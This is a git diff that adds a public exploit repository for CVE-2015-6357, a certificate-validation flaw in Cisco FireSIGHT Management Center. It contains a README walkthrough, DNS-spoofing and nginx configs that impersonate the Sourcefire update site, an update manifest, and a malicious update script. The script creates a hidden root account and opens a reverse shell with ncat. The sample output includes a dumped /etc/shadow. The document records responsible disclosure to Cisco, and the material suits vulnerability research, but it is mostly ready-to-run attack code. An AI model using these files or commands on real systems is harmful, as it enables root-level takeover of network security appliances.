diff --git a/README.md b/README.md new file mode 100644 index 0000000..4ff63cb --- /dev/null +++ b/README.md @@ -0,0 +1,280 @@ +# CVE-2015-6357: FirePWNER Exploit for Cisco FireSIGHT Management Center SSL Validation Vulnerability + +## Introduction + +On its own the [Cisco FireSIGHT Management Center Certificate Validation +Vulnerability][3] is a **medium** severity vulnerability with a **CVSS** of **5.1**. +However, this vulnerability is an example of why SSL certificate validation is so +important. In this exploit I will demonstrate how the vulnerability can be leveraged +to obtain privileged remote command execution on a Cisco FireSIGHT system. The +exploit chains the SSL validation vulnerability with the software update process +on the Cisco FireSIGHT system to trick the target system into downloading a malicious +update and executing it to obtain a reverse shell with **root** privileges. + +![AND THAT'S WHY YOU SHOULD ALWAYS VALIDATE SSL CERTIFICATES](https://i.imgflip.com/u60wm.jpg) + +## The Vulnerability + +The Cisco FireSIGHT Management Center appliance is used to manage Cisco +FirePOWER Intrusion Prevention Systems (IPS), also known as Sourcefire IPS. +FireSIGHT is responsible for downloading updated IPS signatures and installing +them on managed IPS devices. + +The FireSIGHT Management Center allows an administrator to manually initiate an +update of the IPS rules or schedule the updates to occur daily/weekly/monthly. + +When the FireSIGHT Management Center performs an update it uses the `curl` UNIX +command to perform the download from [Sourcefire Support][1]. The +invocation of the `curl` command is passed the `-k` (aka `--insecure`) option +which tells `curl` to not validate any SSL certificates presented by the server. + +Here is the the `ps` output of the server downloading an update: + + admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl + root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh + + +FireSIGHT updates come in the form of a [makeself][2] generated shell script +that contains both UNIX Bourne shell commands as well as the binary data +to be delivered in the update. These shell update shell scripts are executed +directly on the FireSIGHT server as the local `www` user. + +An attacker that is able to perform a man in the middle attack against +a FireSIGHT server can force it to connect to a spoofed version of the +[Sourcefire Support][1] web site and download a malicious update script that +will execute any command the attacker wishes on the FireSIGHT server. + +The SSL Validation vulnerability enables this to occur resulting in the system +happily ignoring the attackers spoofed SSL certificate and downloading the +malicious update and executing it. + +If the `curl` command were to validate the SSL certificate then it would fail +to download the malicious script and protect the FireSIGHT server from the +attacker. + +This exploit demonstrates the danger of not validating the SSL certificate +by exploiting the vulnerability to gain remote command execution as the root +user. + +## The Attack Scenario + +The attack scenario is one where an attacker has attained the ability to man in +the middle the traffic from the FireSIGHT server to the +https://support.sourcefire.com web site. The simplest way to demonstrate this +is to set up a "compromised" DNS server that responds to queries for the domain +`support.sourcefire.com` with the IP address of a web server that the attacker +controls. + +In a real attack scenario the attacker may use any number of man in the middle +techniques to acheive the same means. Such as: + +* DNS cache poisioning +* ARP spoofing. e.g ettercap. + +This exploit was tested against the following FireSIGHT Virtual Appliance versions: + +* 5.2.0 +* 5.3.0 +* 5.4.0 +* 5.4.1.1 +* 5.4.1.2 + +In the PoC below the FireSIGHT server was assigned the IP address `192.168.1.99`. + +The attacking host was running Kali Linux 2.0 though the set up below +should work on any Debian Linux based server. The IP address of the Kali host +in the example below is `192.168.1.1`. The Kali host is used to run the DNS server +as well as the spoofed [Sourcefire Support][1] web site. + +## Set up dnsmasq + +The exploit requires the ability to spoof the DNS response for +`support.sourcefire.com`. A dnsmasq server is run to provide this capability and +act as the "compromised" DNS server. + +Install dnsmasq: + + root@kali# apt-get install dnsmasq + +Configure dnsmasq: + + root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf + address=/support.sourcefire.com/192.168.1.1 + server=8.8.8.8 + EOF + +Edit the IP address on the `address` line to be the address +of the web server you will serve the updates from. + +Start dnsmasq: + + root@kali# service dnsmasq start + +## Set up nginx + +A web server is required to serve the exploit to the FireSIGHT server when it +requests an update. + +Install nginx web server: + + root@kali# apt-get install nginx + +Create a self signed certificate to impersonate `support.sourcefire.com`: + + root@kali# mkdir /etc/nginx/ssl + + root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \ + -out /etc/nginx/ssl/nginx.crt + + Country Name (2 letter code) [AU]:AU + State or Province Name (full name) [Some-State]:New South Wales + Locality Name (eg, city) []:Newcastle + Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit. + Organizational Unit Name (eg, section) []: + Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com + Email Address []: + +Configure nginx by replacing the contents of +`/etc/nginx/sites-available/default` with: + + server { + listen 80 default_server; + listen [::]:80 default_server; + + listen 443 ssl; + + root /var/www/html; + + index index.html index.htm index.nginx-debian.html; + + server_name support.sourcefire.com; + ssl_certificate /etc/nginx/ssl/nginx.crt; + ssl_certificate_key /etc/nginx/ssl/nginx.key; + + location / { + try_files $uri $uri/ =404; + } + + # rewrite requests that contain the clients license key + location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* { + rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2; + } + + location /auto-update { + root /var/www/html/firepwner; + } + + } + +Start nginx: + + root@kali# service nginx start + +## Setting up the exploit + +The FirePWNER exploit requires two files to be served from the web server. The +first file is the update manifest which is an XML file that contains a list of +the updates available, their download location and MD5 hashes. + +First you need to create some directories: + + root@kali# mkdir \ + /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent} + +Then copy the exploit files into them: + + root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml + root@kali# cp firepwner.sh \ + /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh + +After copying these files you should be able to browse to +`http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml` + +## Configure the FireSIGHT server DNS + +Next, for exploit demonstration purposes, the FireSIGHT server needs to be configured to +use the "compromised" DNS server. Login to the FireSIGHT web portal and go to +`System > Local > Configure > Management Interfaces` and set the Primary DNS server to +the IP address of the "compromised" DNS server (192.168.1.1) and save the change. + +## Running the Exploit + +The exploit uses the `ncat` command installed by default on the FireSIGHT +server to create a reverse shell to the Kali host. On the Kali host you need to +listen for the reverse shell connection from the FireSIGHT server: + + root@kali# ncat -v -l 4444 + +Then on the FireSIGHT web portal browse to `System > Updates > Rule Updates` +and select `Download new rule update from the Support Site` and click the +`Import` button. The server will then download the `sf.xml` update manifest from +the attacker's server, see that there is an update available and will +download the update and execute it as the `www` user. The update/exploit script +below takes advantage of the fact that the `www` user has a number of `sudo` commands +it can run including `useradd`. The exploit creates a new `toor` user with an +empty passwd and then uses `su` to elevate privileges and start a reverse shell +connection back to the attackers server. + + #!/bin/sh + # add a new UID 0 "toor" user with an empty password + sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \ + -d /root toor + # su to toor and start the reverse shell + echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444" + exit 0 + +The exploit script may be changed to run any other desired commands. If the +script is changed then the `` XML tag value in `sf.xml` must be updated +with the new MD5 hash of the exploit script. + +This is an example of the output you should see on the Kali host when the +exploit is successful and a remote shell on the FireSIGHT server is opened and +the `id` and `cat /etc/passwd` commands are run: + + root@kali# ncat -v -l 4444 + Ncat: Version 6.49BETA4 ( http://nmap.org/ncat ) + Ncat: Listening on :::4444 + Ncat: Listening on 0.0.0.0:4444 + Ncat: Connection from 192.168.1.99. + Ncat: Connection from 192.168.1.99:41637. + id + uid=0(root) gid=0(root) groups=0(root) + cat /etc/shadow + root:x:11869:0::::: + bin:*:9797:0::::: + daemon:*:9797:0::::: + mysql:*:9797:0::::: + nobody:*:9797:0::::: + sshd:*:9797:0::::: + www:*:9797:0::::: + sfsnort:*:9797:0::::: + sfremediation:*:9797:0::::: + sfrna:*:9797:0::::: + snorty:*:9797:0::::: + admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0::::: + toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7::: + +## Obtaining the Exploit + +The files used in this exploit may be obtained from [github][4]. + +## Disclosure Timeline + +- 2015-08-31 Vulnerability discovered in FireSIGHT 5.4.x and exploit developed + by Matthew Flanagan. +- 2015-09-01 Initial contact made with Cisco PSIRT psirt@cisco.com. +- 2015-09-01 PSIRT responded asking for more information. +- 2015-09-01 Matthew Flanagan provided PSIRT with full write up and exploit of vulnerability. +- 2015-09-02 PSIRT raised FireSIGHT defect and incident PSIRT-190974966. +- 2015-09-15 Matthew Flanagan reported to Cisco PSIRT that versions 5.2.0 and 5.3.0 are also +vulnerable. +- 2015-10-16 PSIRT advised me of the CVSS score they assigned to the vulnerability. +- 2015-11-09 PSIRT assigned CVE ID CVE-2015-6357. +- 2015-11-16 [Cisco FireSIGHT Management Center Certificate Validation + Vulnerability][3] published. +- 2015-11-16 Matthew Flanagan's findings published. + +[1]: https://support.sourcefire.com "Sourcefire support" +[2]: https://github.com/megastep/makeself "makeself" +[3]: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20151116-fmc "Cisco FireSIGHT Management Center Certificate Validation Vulnerability" +[4]: https://github.com/mattimustang/firepwner diff --git a/dnsmasq/firepwner.conf b/dnsmasq/firepwner.conf new file mode 100644 index 0000000..fdf872f --- /dev/null +++ b/dnsmasq/firepwner.conf @@ -0,0 +1,2 @@ +address=/support.sourcefire.com/192.168.233.140 +server=8.8.8.8 diff --git a/firepwner.sh b/firepwner.sh new file mode 100755 index 0000000..c0c8d9b --- /dev/null +++ b/firepwner.sh @@ -0,0 +1,7 @@ +#!/bin/sh +# add a new UID 0 "toor" user with an empty password +# This script was generated using Makeself +sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh -d /root toor +# su to toor and start the reverse shell +echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444" +exit 0 diff --git a/nginx/default b/nginx/default new file mode 100644 index 0000000..e5523c2 --- /dev/null +++ b/nginx/default @@ -0,0 +1,29 @@ + +server { + listen 80 default_server; + listen [::]:80 default_server; + + listen 443 ssl; + + root /var/www/html; + + index index.html index.htm index.nginx-debian.html; + + server_name support.sourcefire.com; + ssl_certificate /etc/nginx/ssl/nginx.crt; + ssl_certificate_key /etc/nginx/ssl/nginx.key; + + location / { + try_files $uri $uri/ =404; + } + + # rewrite requests that contain the clients license key + location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* { + rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2; + } + + location /auto-update { + root /var/www/html/firepwner; + } + +} diff --git a/sf.xml b/sf.xml new file mode 100644 index 0000000..071d96a --- /dev/null +++ b/sf.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + +]> + +2015-08-27 +1 +Valid Support Contract +https://support.sourcefire.com/auto-update/auto-dl.cgi/Download/ + + 5.0 + Sourcefire Rule Update 2015-08-27-001 + firepwner.sh + 2015-08-27 + 2015-08-27 18:45:34 + files/firepwner.sh + + SRU + 2015-08-27-001-vrt + 2d4caf2fcb3144101f7954e8eb7358c1 + + + none + 021223244950556672 + + +